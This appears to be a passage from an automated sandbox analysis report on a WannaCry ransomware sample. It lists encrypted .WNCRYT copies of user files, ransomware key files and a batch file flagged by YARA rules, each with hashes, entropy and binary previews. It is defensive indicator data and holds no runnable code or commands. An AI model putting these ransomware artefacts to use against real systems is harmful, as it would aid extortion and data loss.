                                    Preview:WANACRY!......=.+.s...'..N... ......H....4.9h.x.e.w..........o.......Q..5..,9pH"..@..~.........eI._....![.&.v.T...X+.p.M....V\F.-..q%.)..jq.?d.Uj.......D^.....<..#.9...L...g..J$.E...C&....5..b.{t..]... ."$....w?"D,f.fn......;B..D...0...0.W..iT ..;k,....W.s..}.............Wa......5;rl.>2.R..D.9.Z.....DJ..8.*[.,...O,.'.....`..*.c]....3.e3..Q.U..n%..T..U...D...Z..="._.....5....(.M..m.6M...Ai.K..[.(|.)X.b#.R...'..4..;l...=E....9.w..M{.......S..!rr..4.:.e....q}.7...a<.|'....Xy..O..[.Z..t.'..rQR$-.l9....A..R....s.M...ingJ..L.y........~.c.....r.....0r..'@M.:..........Rs...j.m9^.....e.....`...8>7.O.{....8.....V....m.Yn}.U.YK.n.k.4h.'~"i0.1.......D&[QF.....W'.1..2=y..U.a...d.b2|..v...z.s..V\.wj.B...:...w=!.....L>6.E..~E.....P.-...y.9j..Y.`.<...@.B-..Mn..%..4....#7.>~......O...W1x..r...h.......i.r...R...w.F.......S...% ....<.H*b}..l.2.CGDL.......I............@.#5oq.x...vp...&......LZ....Z.h'.`...~.."...Q.j.J..:.T...r...tX...D...Q...$....

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UCKFKZQOSO.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.831530255315519
                                    Encrypted:false
                                    SSDEEP:24:bkAfkfaPVOGbA7dI3KMcZHqQr13rG9R2j9lnLOdYe89QgH/x9WGKWjxYjbu:bkA0aP1bAZI6bZV7XOx8yU59WGKWjxF
                                    MD5:F9C1094B1AE55F366B141C906F0D4DE5
                                    SHA1:77667BC06EEB65D8B8CAE083826D0BA430B5FED8
                                    SHA-256:115ABC439FC33C8CFC100FA43E809F92944F5CFA070CBEF8968068158A11FE4C
                                    SHA-512:615F2F5540E9EB2DCC3A1F13F77F9D0CFBDD3E06D4ACD68F5060A90A69EE594260E759CA33593B990FDFA28CD0465E7632EE4BC566ADDE429C54A6A0F2E1A141
                                    Malicious:false
                                    Preview:WANACRY!.......hr.a..0).i.O.}a........`%...Q.........vU.O].N`.e..M-c..{..N..w.q..8x2.............{YgD(.l!Fu.......-N.f".ok......o/.6.!"..1...M{....(...g....T7..BZ.a.`....F.<..m..[...N.S...,8=Y..&.$.....qF...1.zb.4........{;.v.....Y.$...p....c..=...>-r5............O..i.\...:m.>...%..:..J....u....D....28V.9......O".O...n.of..-m..l......i+.W.U.5..mb.......K.u./. 2.~m...{r.3.wa...1.....a...=.?.~".HL..F...^.p.Z2..N....m$m..[.Tt.,.c..}8j^...[..._.....1.Fk.=..zlI3.....`}......\.y|..E.j.{.....P.O.E.0.2....W...|1.`...v.&R...60..)..^.}....C..............x)..:.V..x...1.)D.MI....3....A........).F4.R..\p..q...D.M_lr.../....,B]].C....7,.!...O.=...m....mC......).....6..<^.e.(.Og.z.k.LC2.....|...U.i....t...;>.V8.hb...p.@+Z.bJ.P./.c.,Z}..T..o.q0....|2.....".cmV.P...."AF...C.'..y........`....a.Jv...^.....}.t.^..o.R.~.....`.fs.../'..........$.E...].`V.zw`.y..M..1../..v&....t.q.X+e.|...g:..V.&.#LX..n..U.%.n.....c|........"WQ.....)...\H.A8Uev[.h.A.S.. .rT...

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UCKFKZQOSO.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.838841524930203
                                    Encrypted:false
                                    SSDEEP:24:bk2I1Xt4b/QB/Tz771dpdegx1O2BsZstAZIwu64G/pe5rzrtGEvtKe2QWS8ettBV:bk2IX4b/kTRdpdZxI2usCFa+Ir8C239Q
                                    MD5:14450AEF254F34BBAA546D7628EC9C09
                                    SHA1:44E9C402C31B85ED66614508E672F838771B2C30
                                    SHA-256:9F9C4EB9E42B7746466BD95BE8F90EBCA2D8328E50FE80E9E719E78022DC4272
                                    SHA-512:9838C87B01E7EDBBA8301DFFD02DEB31A204E4B80098D8E22DE60A6C666BC1D6B28A36EA6B4D29A194C17EA50383419AF64FFEDDAC8CFE6EC3772945810DF303
                                    Malicious:false
                                    Preview:WANACRY!......`s.2..g5..V..../..ic2.PP1p3..(.V_.....cp:..7......<.v.q..f$q.^!..f....B^-A..@.P....Q.9[un..T../."K..u....k`.H~..l.=.5.H.V...I,n/r.4.@......N.W=R'1T.J..3......2q.&._.....~u..h1..M.*..3C,.@...e....Z..9...M~>.d[.....3.{ud.rq.BO3..u.....Nq..%<..b................ .R.<.M]......j..`.....W./."+'>..h.8..r3.._.q...t.?..z..C.Ll....%}.T&.{-r.!.I.aH.......G.....,...+.D...v..G.35.7..@4.%7DD<...Vb..}4...{..>.....:...>..0..M.F@......0..pD./..u.../R/...E......0...Q..*.E..Q..a3F...V.........i.k...K1'.cz.D.?......W.... .....%..[yB...@...........0...Az.=..l.M&.:.....,/....iRY.8.h./c./...|.d..`..M....,\...^.)G.`...kC.~xN..,......y....Pq4..dRdpYnF...t.....Pd\..#GE.8..*.v...i.....Ue..."`.M.....P.e..o.f.'.."...Fy..........VWH{..8/-..tb..:.o.....y.'>CR..S"....GY.l..Uy....A.P)........4P.TXU.e..^G:.y.|.j...l4...R.Z9.....ZF...SZ..iSK<...a...x.A.e....|d..:.....I....q}.[.>D.a..z....*........*.t.....v$.....J...%m_....6.~......k..u:....g.uUs./|I.....v}g..Y ...I.

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UCKFKZQOSO.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8475671136218015
                                    Encrypted:false
                                    SSDEEP:24:bkVaQykvZGCEs2815RfSGtFBaGbUnsBSQ39HFaQH64/TpiuIk:bkVanyUly5R5aGbUnsw+JHTrpiHk
                                    MD5:EB25DD676CF48FA72D41C2B215ADC552
                                    SHA1:CC815D88EB63929768C91B19B4BB55354D633D74
                                    SHA-256:F11393D4FCC2B798B446F8F7B854B4EDF6C466CFDC08B412A84C4A0AF2A05EDF
                                    SHA-512:82705B4419418F3EDD8BF3A88692CBA15B351684A365171204F6C1CC5F29A398A386DBCA93D5922387827505EE314E56CADB463101DFA40808222FD4DE702EA3
                                    Malicious:false
                                    Preview:WANACRY!......-..]....e.D.E..l.Jv.G[..*L...L.u.4-..k#.6..a....H....O...[.tL`.O3....\..tw...A.%....;...j@.l.~.,..."....wyS)..l...U.Z4@m.SS..w....J..^...y..*8./...eh...Q..:X...ea..d.8\..*..}.'.N..o....J.2.[ K.l.9...pj....Y.|...j.......])!7.?..f......................^C..C...j...*Y...;>....h.x{.lh.[..8j.g..{.*....bR..W...~...6.la...k]R%.!$.>..[5..I..L%..d.]po.V!M3_..J,..P_....7>.?.i....6.....3!.........TD2i...CcF._..1.(..mL....o..-..^....>.f2...].o.Y..yk..^.H..|.z.5`$.).Ae..... .x.4tS..7..IXM8.E..#.$..:...&3."...ig....7`b.k.O.....c...."3x....(..4r6....#......X.....FZ....v*......u+icE..P...'.*..s^..e....^..8x.. .V.f.^.aY.....R0E..~..b.4.>.5.,lr@.I<....w<.M9(..frR#.EPG.+..xa.~H..%.,.KD..q7..u.....O.LH...&..F..L.7.b.w..M......{..>.Ep.........yL.3.QT1.m......R0..0..qK...v%^d.:n$.s.E...Oa.M...6U...V.JL./i..%.|qt.u2r..d...gL..@.pL..Nz&RaH.. . .8......H....u0..L7H.L...n.\`B..y..m.C..f...l.l.#.r..]\2.0.^....7.....f^Sv......CQk|.r<.7..U.t8}....P.....

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UNKRLCVOHV.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.823773742213862
                                    Encrypted:false
                                    SSDEEP:24:bkyDHLWNPWEhEb5jYpscJIrZ1wENEdsD3mgr4kXZDBITnGgpQTX4GOLgWHPs:bkyDHkwUDMZpzbVZyTnGbXW4
                                    MD5:2CD5C8BE9D8DE7F401316F27CC499DAA
                                    SHA1:49D1ECD3E41FACA742EA66083804ACCCF16A4BF0
                                    SHA-256:137CC422847E0382EC4D940C3E0EDD1F1EA8B3AF7F46B581ABF7F4D1F276C57C
                                    SHA-512:2A762279EFB32ACEC73A2A6945850A7143B2BC7451027BE483884FAC6982422C1A1D455DC7D015692C3C26764FCBBF129855CBD255833ED5C7699E615B650875
                                    Malicious:false
                                    Preview:WANACRY!........$).......N..o..........A_...Tg.....@8..?iU/h.3.,........j..u.S...y...<...C.......c.*...[.+..KzdN..^...Rx.......Q.9a....H..$@t7.M.....I..i|.. L.....>Q....b..).\j.....1....j...'.....K....*.Y..1/...U.......V(O$;....-.M.a.I.i.....%../.{...'|C.g...............F..UPf>..m.['.H.%.E.76$i..3F...s....).>.....1m.mb..=..6T..~....dH.Z...........%.V.E..s.t.e../u..`...K'4.!.&&-bD....8.......5y..1>.J*.2.fM(..Wi...T%.J..Qa..Oa$.V..u..&.cv3.Nd+......TGD7,%..T...W..SPO.....4c).yL(.@,.<DN..Z..x.._w.........D..|..1.1.e^..*.y9}..=^.....t..Oe.|.!.q.....V1..S.~zE.B......:~.|...VT.Yh..Bq....i....A.&..V...%.{;...3..*#.~......cY.B...d..W+".......WZg.X.1@.H.I{.6..Y'.q.!.k.^.[G...{.<.'d.T....ry.^.Xt4..NT...*H..../..2.i....{.K.4;...&...b..K.v...N).:.!p..MiS..!.kq.Wu....YY. ./...e.G<.sI.F.@z.0.p)F....G2..5..).rbRR.D..*. ..D....X._..rS'|.s...\/.-.............0.4..v.A.ZB"..*.....&KY.DjU6...z......X.dv$.;.Wc.*..w..0o..)..3E.u.[0......[Dx.@P.ie.."#...........

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UNKRLCVOHV.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.820842185363566
                                    Encrypted:false
                                    SSDEEP:24:bkEV8mLZwTTDJm13GsXTnkBBnCWlQb3mKhAHHCu844DDopvGaYQhnd+Mn:bkW8lTh0XTnkvab3T+qLicQhddn
                                    MD5:371F414FEE92CAD0FD58B92C563CC24C
                                    SHA1:0EDFA3D7D3798B1C2B97241480FF000B5E5FD1A2
                                    SHA-256:38957FB6DA5370BA24DC46235754532D728F2FAF7473C760D116943DC69BC319
                                    SHA-512:CA2C426AD7A27F2975B4FBDD4C59A1037B833CD09B6691373C36834D27F5021F621A91EC387E3DA324D397773295572829AEF24AC7BB486427B29A3CDC806D09
                                    Malicious:false
                                    Preview:WANACRY!.....L.!....V.1W.......^..$.p.%.<.......u......ql..@Nga.a....>y8Z.X....."D.......\...A.... .....?....-o...&......>..c....<l..*.~.p.+..w....N.&.V..=.x.....3./.S...Co(....Xp.b...;..W...T9../....D........e.ZA.("...6d&..>.j.....n..M..h.q}..#XeN..................&.n\.7.x.H].u.S....ba.8_.X.j..z.]....C...o.V*..S...v5._....W..`...#.......C.A...v<.............q....q:-.w.J..K..KI1~.o.*+TvX\..A.Z...o+r..F..I....=a...32...GA.W.[.t....&..-7.?.........k'.o...D>y|.@NL.....[.P.......a=2_.M..>..uw..?-.G..I6.(<..Q.CaE.9..R.0.,.:wnlg..._HT.z{....y$.....A.{..q...5..==.9.5.j..\.C...*g+..8y.K.'0/M....G....>4...Xa.l..Q..&.L`1`.O3N%+.....H........`d.F4.....2<..}....X..!.!#qV.G.C.vI......'6.?.....0..f...p.Z....Z...>.1KD.+.......F.\....a...V..........<P..v.).Y9.l.(.31...b......Lcp.V...A..<...K..w.@)k..b...uO..vFT..:=.<.2.kA5...e-........g[...V...ZT.*...HU."..Q.n.R......m5.fO.k....?#....E.._.....$M.q]o..i.Wy.[...W;.O.a....@@..2.I.....n....".......

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WSHEJMDVQC.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.84856655777303
                                    Encrypted:false
                                    SSDEEP:24:bkXtJ4ouFS6XI8B/KIRJz0aGRnD1RLZP4HwInG1QWxEMn/FsV7evewKBFDRiC:bk9J4ouFXI8BTR0aSRlNInuQWxH/w7eo
                                    MD5:69323FDB2ED7FE9B10BEC5CE3C6E23B9
                                    SHA1:C36F0204145EF3769CBC81BD1FD740EA2834EEB1
                                    SHA-256:A477AB644B8D16302C3C30BCEA19CEB866F0FAADAA20A3FDD46A27CE10859CDF
                                    SHA-512:33D53FC48BB1C41450367357B555D0B55BE8B172E76660546D014979A159510071E69C6E831F393250A0EEA09588FC2D0FCF542A64C6FD392E282C5B8EEDACB8
                                    Malicious:false
                                    Preview:WANACRY!........*...."#...r*..:...f.l..D..`4.s...K...q..R.Q.....,Z...:.YW.......%.Wc-.....Q.A."3b....;..%.'..M..L.d....=E0m..x.e=c....=..v."6..../.2.h...:...E.....Z.BY#~...M...ET.\x7......d..14......i...~...<C.o7....l.&)..w...Ik..........:.. .<..=..3<e.vL..............b.+.....30[S...<....O...z.;......m.j....w..6.'Z..vJ5SW..........u...0'.t-..L .....}...57G..).o.V.#$...,v0.?.....v..(.E.,:z7......r.U.Rn0..wH..S..}...*@.N.7.W.j$m,.{.....5&..g...4p.wV&.".Qg!E..6..p.:.x,TZI.a.p...t.i..<..4#..aDD2.MG.6.}v.B....lK....?.......R.=..Nib.~.T..tr.x..0..)~>.@....L...,"YP..(.Si.>....:N.5.|A.1*.SUI...|Q.....+.R.U...JK.2.5..p..+..Q@..n.qQ"...#.....T..G..c*.VT\..+.mu/..@..{.k0....;...6...R....l....lZM..'......dO_...'...s...[....E....2.f..fdv..X.Q...H5Q..:......&.c.6q?.sS]................~...<Q...3.....r...tP...h..`...`Q.p .....A....GU.a...E]....[....c..cF...ur.R..-.U...g>.Q..s.k..?...."e..h......XC...i.@.3jb&....!l....d..."............Y;Yr...=RT.6.

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WSHEJMDVQC.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.833924858135191
                                    Encrypted:false
                                    SSDEEP:24:bkEtsM7i1Q5F+8p5fPIWTKGb0uMArwPw4xfqU2YKG+RdbLtiECTCI9cEk:bkYsj1QLj5YWth7Etq0BiJBvC2IY
                                    MD5:D6E563FD409DD72139222BA3B60AD433
                                    SHA1:05891556DB5A6074F68A9DF96C9B803D5557DE76
                                    SHA-256:4EC142F54BC33546F79D1422C1C303C03A1A17F734466B1899AD0A3AB8F07245
                                    SHA-512:D2EA63482DDB53DEF5C1CE512E959D667A19A1EB0895641F4795CA669FA2C867D648B15C4709648742889EAD85114DFCA517C86330AF389DAE1853F31117D3AD
                                    Malicious:false
                                    Preview:WANACRY!.......z....r.Pk..%[....$3Y...=.p....Y.{..+@|.../..ET.3o6|...+VC.O....8..Y...B....$~Y(\..?,.#!.K^..`.....7.&t.V~J.y..o0_X...#i4.|........@|#"w/.$.x..`.*.e..|..MO......%.2.V.5..m...z.....5...H..x.A.........f...R........*...{.....Ocx.fN|.Q.....;..............`..,.....~.`H....0;.l..H./x...|..#s-.!O+...|0"MQ.c....]...-ve...z2.y.|...... 3Ic..U./M{.+!.U..,..x....E|.[.i.....ZJM.F8..(.....G.}...K....0...6.R.U.E.N14.VH.._.3......R..2.....\H.....J>p.............)..W6T_.E...........I...?..\.A...F2.g.....5K"...;...i. ...4N.z...'...>...}......."...h...|....z.1......}.f.G5.B..P%z.Um....?'. I./..@1.<.....V..,.:%.o0...o.6..R........Z....0;-..z/.".......f.y.7.m.......''1.a."=.?[c...W0..(re..*8Z{..-l.*p.e.Mm.N3.........'.M*....62...g..UH.n.KW.n.}po..*../...3.3...^.j..Q...^6R.O.S.N...f.....F.,.bH..........V...,P.......t..D..m_...6g...x/t.T.. .8|<..t.f.KfjR...u.......vMJ.....-N...62.;..k"@.W.L<m.....N1.F..lHB....~.p....Ge....t..\...;0......c..O..Wz..J..:.

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\YYTXSGEDYK.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.820213785527753
                                    Encrypted:false
                                    SSDEEP:24:bkdI/fBubgUQEwtyOWNO+DDzFA2dR56IiVFLLQl6HbDjbDRI6PrW2u8D0:bkdI/5udeynNO+DFF3ojeCDjbDRI6PrU
                                    MD5:7C41754C422BB22D37734C9AA16011E1
                                    SHA1:D1C85D6BEA09DBD00B9EF5CCD2CEB2F3026F68D6
                                    SHA-256:64CCC67994BEC3D6F9EC40B99D1817165DA9E9DA3DDE38C779F488C2238E5E8F
                                    SHA-512:CC9FFFAB9C2934753FA8B1BE055463D8B70064CDAB2BFCE909BACFF671BEBEC71585634EE2DC98B9395C254B790B6AF3E2F3C4CFF758DAF8FB8E4A28A3459FCC
                                    Malicious:false
                                    Preview:WANACRY!.....I.b..;'...@.U..,(.aC%.B..p."..Pd.]...-.=..K.q....E...F.nn....PG...W......D......t. ...z...K..l...E.?.._...SQ.%W.{[[....@....T^.4*Mq.N.NEi$F9H.ro.~.r..`.8...UH..J......M~*.SV..7..T4.;..p.......\..>..?.....l..{.....}......K%..?%..."|..>......;..................Nd.8.|.....H!..'.Z.z".).....v..LGBX.V..7.A.C1.f..v.>..........X6........`z.%.[.[!...<..p...B....bg;c. ..@....2.#.F....Y..t.N.H.@.;.Td....;...A@....r.ZZ:a...`.$....r.JZ`......7*.*#.5( .X...+..:.3...7*.&NC.+..^.WUS.m.PK4P.....4...zi..)s.Y..i?....G/.W...j.........}X5.y..+z.o~lt.h+Q..emS...Ef.....Q...~ ....YS.....d...%......8.d..{!`.,.....r.g..^RV..i..k.J4.ks.....:..4{.x....a..C..].S......C...XC....NP...V7\.>.~>.`.c..........$.a..;i....C...KD...<..\.~.4..6.U.2`J`...w(.f.Y).=$4..U...>......... ....;.......*?x..%..).q.&....R...!..d#...\.X.%...ug.#.J.K.d._C.....~D.X/C=G..2/UC..4d..B!i4.#.......X..q.h.../....EDj.Vvx....7..O.R.P..w....3!D.%T(...D;.Cu...def4#...?..g..mD....

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\YYTXSGEDYK.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.846284509384519
                                    Encrypted:false
                                    SSDEEP:24:bkVtS7TfMgYm9fr+E6I0ikkJtVioSfUHlIMWthI/ey0WLGiN8gOtyXiZvrUzK+S:bkVcHffXfraI0iTLBSrthI/DrbMeevgE
                                    MD5:40B954075BBDE37C2653AECC6156EE6B
                                    SHA1:247943BC89C18274C089DD0D58F65BC5732527D5
                                    SHA-256:31E5E74DFE4754A458CFA3FC1420B4C7224E5613887B424A4EF98834F4452369
                                    SHA-512:B639BDDA2CD80C37D385388F5B17E21ABB5AB04606E78DE676EF8EAB693D1F83FC706E11C65C93B6C47D000E83DE3348827639E673323A26B87768FA6BDE48F9
                                    Malicious:false
                                    Preview:WANACRY!....Y....eO|......x.z......%....N...XV#..$..h......fy\.]nD.h{U......Q*.8.P!(..5O...3(J....`..8(p0....ya..1.~.B..M.i."u.H.3...Ua8...bwi.}e .|.t..D...iC..U.8D.@uk..;a'[..x..m2R.K..f]..RR.........._A....B....t.K.i....i.$Q..F.[.C7po."......u*...............R....*q....../......~.k..4.o.#..H..n)..]....(ga6q..I..t]w..l..-.c..g.pi..`...O.7...j,...y....f[..:.._L+..s.-...*aR..s...`._`.S..z ..Q].2.4"Jb.i;#I^../....u.h63G..q....h.%,E..R.$.D.{Z,.h....(..W.=L.5....x..V.J......"7[...NP..y.Y.....6...G.Z..#'....M..m...Bq..c......Z..kT#I.d.........A.k?....B.1x..}..._..k(.7,...[`.[px._b.u..:....^..zB./C..L..P..).'.f..W..I|...Ua..7.M.......z9!)..*%0...Th.{.k.._...9k......5)3Js...P..j...!..%.J.S.a.|...]......H.;.e!.m5...`.<-..\..Y(....B...gel x.......U.....N...0=g......T..ksYg.o.kL.......n..[.C1.....z.n.c.h.4.(..4K...}...E].*.}G.Z..._..C...x..n^.l.....\S..........c...0....w.._....w...h....?....'......:KB.e&...6>...B....4L#.........<....@_.u

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):67976
                                    Entropy (8bit):7.997234372883656
                                    Encrypted:true
                                    SSDEEP:1536:mcJgvrVyIpzg12KqYVyFBL5SF0wwI8kkpMXOB6wnlI8XsP:pKvrD5g1UnF14fwHlBrnl2
                                    MD5:4C53DEDE84A12E95A9DB896111C36BA2
                                    SHA1:C3A282618A0346EDD4D720C380CF0442AD655AFC
                                    SHA-256:7EDE7A54BFB4E145103E25472C49860C614940A91150A882A86234F970294566
                                    SHA-512:22B18FFA0AA2B443DF5469F65CD82D80414268BCAD077A13DEF6081650DA5B262B284B39040515A7BCD1D83402A589471F4B6BE549244BF178DF23D5009E23BB
                                    Malicious:true
                                    Preview:WANACRY!.....p.p.. S.Y.x*`.SZa.=.....0..:.;.r........6fx......b.....)!..u.$,V....d.%u..K...boehY.=..9..g..`.#0g<.. ...p.;.g?.....P..........lU.k.|..YW..Cr..uR3..le5d.v".A.y...._.....B......%.UE.?.\w..Cab..,.}...+..r..b...c.a.iF..d. Z&.{I.c0.{v..{.&.$.4.V....d.......YF....d.%.G..~Yb.'R.9....Q_.y.....v.=.7..I.#..]&`..*L...bt.....q.....W.w;..?.k...........F.@..2...t......{......?.R...f......W.....$...%......H|.f!.[z..>u.....i.C..s.^4OZG.p..p*.u...k.?..^.......a..)..._0g..-7...f...+Dt.BL7.A@M.08{...tt=.C.l:..>m.Q.....gT.[.~.....z...L..4....|kH.{.b|f.M..n@.....r..m....-.x.&.....,.!..........Jj...K)y...6.4.)[x.. .f*...>...f.-i....U.l.Yb.i..:l.(^..bF..9.BW..@..F.....$.>....cC.U.0m.-}.T..H#9...<!_u,..?.!&...:}.'..%.:*..|..}Q.B..+....u0.......kV........b..uM.X.......|....=.*+.c.}....*.0s..u..._..$..s,...)|.d.....@n....+.x.Z.Z....6...=..>.c[..9.(p.G.,&j.#c^S?........O.~P../x.b.g9=...V.g&x{....*..Pk.....#......!.'.{...!E.K.T.S9M>hx..\.8.o{..E..@0

                                    C:\Users\user\Desktop\00000000.eky

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:TTComp archive data, binary, 2K dictionary
                                    Category:dropped
                                    Size (bytes):1284
                                    Entropy (8bit):7.837498414586373
                                    Encrypted:false
                                    SSDEEP:24:KV5qWzjktqF33dnEQAKAsEN2ixtTRby2KU5UyEskWlZZmXNN+LMq:KFzjmqpdEGEN2ixtRH4qZuq
                                    MD5:D5C8C179E3F2F0F29F8E983D6DBB5439
                                    SHA1:8E8E24B1CFB6F23EDD3B7F343E83E2FCE1220AEC
                                    SHA-256:843BDCFDEF2A95B7D524B43F8F38AF6EFE47728C7342BAADB0226C373A5C4BE2
                                    SHA-512:0AC1D6D596A30BC86C53C897FE5641CCAF987713C0E4C169A57D14BDB7AC4F437BB6EA7B8FCE2C4091B8288E979D4EF6C910B1D66A4C6D000B43E17A11AB876A
                                    Malicious:false
                                    Preview:....|,4.t<S.A.<...Y6.anE....E..2.5.]6R.............._%H^.]T.}.$......e.,...LIS.]...P."Y~....jl.(i........v...R^P....m.E...i.y..~6x.VD~..t.].k...M.=...@..A.Q..m.... W..V..e.....j&.,.{...&......(.....c..4.x.O.......Qzh..o.q....b6`.FZm.} L.N.#...(z....w...p..e.lHI.y.^..m..?.%.+.J..L;HR.......n.O./..y....*O.s...n..!7]...L.T..9s.G.l.....,.N..^.......D...8&n.[.=....6..;...R.n..'o.q.<.B.G..1S.Do.....5.HN.y..I....da..E......q.....Y2....._Z..[...._~i)........a.t......S>...b.......p..-..?fC0..06WK.2./.....J........j~.;.|..Xf.....O.l..#k......>[X."..8.~.....m...9Q.V.g.9w.E.....i."..|.0......g..;..?...q..../.)9..>&....|......Q~.!.l`...uI6..JG.E..\...wy@.1|Od/.....ie..-x.2W=.?.n-...v......;.{J..:.6\..3.&U...M...DZ...O....).*.P...N...3.*|.TJ;o./4..1m.8m.6m..JhA7.tysfK..t.l.....;C.D..@...5em.D..(...n.T....ojS.$....]W.D.:N.b8p....4L ;..H&...Gr..t...kj..)..9I...<|.......fs{%.).r.m..>D^..pY..._t.A.o..M6.....vbs.c..-KP....#=b.8.ot.p.{.A~..Y..-...N.*..Q.=..DB...

                                    C:\Users\user\Desktop\00000000.pky

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:b.out overlay pure standalone object file V2.3 V3.0 86 Large Text
                                    Category:dropped
                                    Size (bytes):276
                                    Entropy (8bit):7.206633988496888
                                    Encrypted:false
                                    SSDEEP:6:mtN9h3VYT3Xw0sH0NWUIN04nLlqgW3yEru3iwCGYJNZnjPUbQ:Y9h3VYcJH70MXW3q3izJPjsbQ
                                    MD5:CEE47826C4E2C2F6A913D020426C22C9
                                    SHA1:23FBB03950DA36FDCDF6989AC41767B799FBCA3C
                                    SHA-256:CCEB77EB369805FCB33E031DD0834889D052595038BD51A6CE0B704A74ADE2EB
                                    SHA-512:9726706AD860921535AEC03A59AF89978CF9362CE2153DEBEBCC6AA61B6C9928B886B1F733CB4FDF1F378392C3E1E80A5A8FB0A6A1FFA754C6D2ADBB9C5ED233
                                    Malicious:false
                                    Preview:........RSA1........=.."}......;......?.}..b.ZM...[.t..D`.I(.L..n.GJ..?#..|6.....T....^..1c..$tsI[8.....=.;..QJ..7i......h....hE..'W.. ...Ji....e.}.Y..UZS/.......-..;X.KP.y6..U.1.x.!....&..}.F..rO..5........B0..|.g..............:...*.}...b0.9.K.%.:.D.@1JE...

                                    C:\Users\user\Desktop\00000000.res

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:modified
                                    Size (bytes):136
                                    Entropy (8bit):1.179184933641528
                                    Encrypted:false
                                    SSDEEP:3:buI/Z1Zlll5tll:bVl/51
                                    MD5:DA29541362BD0D2F0771F105B2AFDE63
                                    SHA1:10274E99A54EDD575F8CE64AA8C5F72191160554
                                    SHA-256:3BE8D2318C9F526676399EB154055E6C3369E0B7B4E737A270BC3766AFD94164
                                    SHA-512:611B7088CBB88EF47340266EA140B7310FFAEB9AD09780466160206647036AC23E11D56700DB9954351152A53E6A2295FAA506D3C1ECC4E4F741D4142EE89F2E
                                    Malicious:false
                                    Preview:P.i...-...........................................................................................f................v..f.........Jw.....

                                    C:\Users\user\Desktop\36751721951490.bat

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:DOS batch file, ASCII text, with CRLF, CR line terminators
                                    Category:dropped
                                    Size (bytes):326
                                    Entropy (8bit):5.068968030903427
                                    Encrypted:false
                                    SSDEEP:6:hqn4+B9TcSRoJgpPcSRoJ0F9a2T2ZLT2Ln:Q4+B9ArT2r
                                    MD5:2344D1146A1612D1194F4B4482E72F2E
                                    SHA1:9B570635E4F9B5F09E30C162FEDE0BAF8100F5E4
                                    SHA-256:0BA1AD768514BBD08C00BE7E50C41AB37F3362E5BD8705A9A5F824A84FF9068E
                                    SHA-512:2EB05D4876A7C22E9152BA88B0230C47202484FCD0E980C7E0EA4A45E4A494CEA3D49FDA2461072C1E9D3CD91001595C340ADD27FB30E9F393B465C54F989292
                                    Malicious:false
                                    Yara Hits:
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
                                    • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\36751721951490.bat, Author: Florian Roth
